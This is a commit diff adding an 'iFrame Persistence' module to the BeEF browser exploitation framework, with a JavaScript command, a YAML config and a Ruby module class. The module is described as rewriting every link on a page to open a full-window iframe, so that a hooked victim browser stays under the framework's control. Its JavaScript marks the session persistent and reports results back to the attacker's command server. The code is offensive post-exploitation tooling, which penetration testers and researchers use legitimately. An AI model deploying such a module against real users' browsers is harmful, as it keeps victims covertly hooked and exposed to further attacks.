Moving nextgen from a branch to the trunk!!!
git-svn-id: https://beef.googlecode.com/svn/trunk@908 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
4
modules/persistence/iframe_above/command.js
Normal file
4
modules/persistence/iframe_above/command.js
Normal file
@@ -0,0 +1,4 @@
|
||||
beef.execute(function() {
|
||||
beef.session.persistant();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.');
|
||||
});
|
||||
5
modules/persistence/iframe_above/config.yaml
Normal file
5
modules/persistence/iframe_above/config.yaml
Normal file
@@ -0,0 +1,5 @@
|
||||
beef:
|
||||
module:
|
||||
iframe_above:
|
||||
enable: true
|
||||
category: "Persistence"
|
||||
31
modules/persistence/iframe_above/module.rb
Normal file
31
modules/persistence/iframe_above/module.rb
Normal file
@@ -0,0 +1,31 @@
|
||||
class Iframe_above < BeEF::Core::Command
|
||||
|
||||
#
|
||||
# Defines and set up the commmand module.
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'iFrame Persistance',
|
||||
'Description' => 'Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link.',
|
||||
'Category' => 'Persistence',
|
||||
'Author' => 'passbe',
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_USER_NOTIFY,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use_template!
|
||||
|
||||
end
|
||||
|
||||
# This method is being called when a hooked browser sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def callback
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user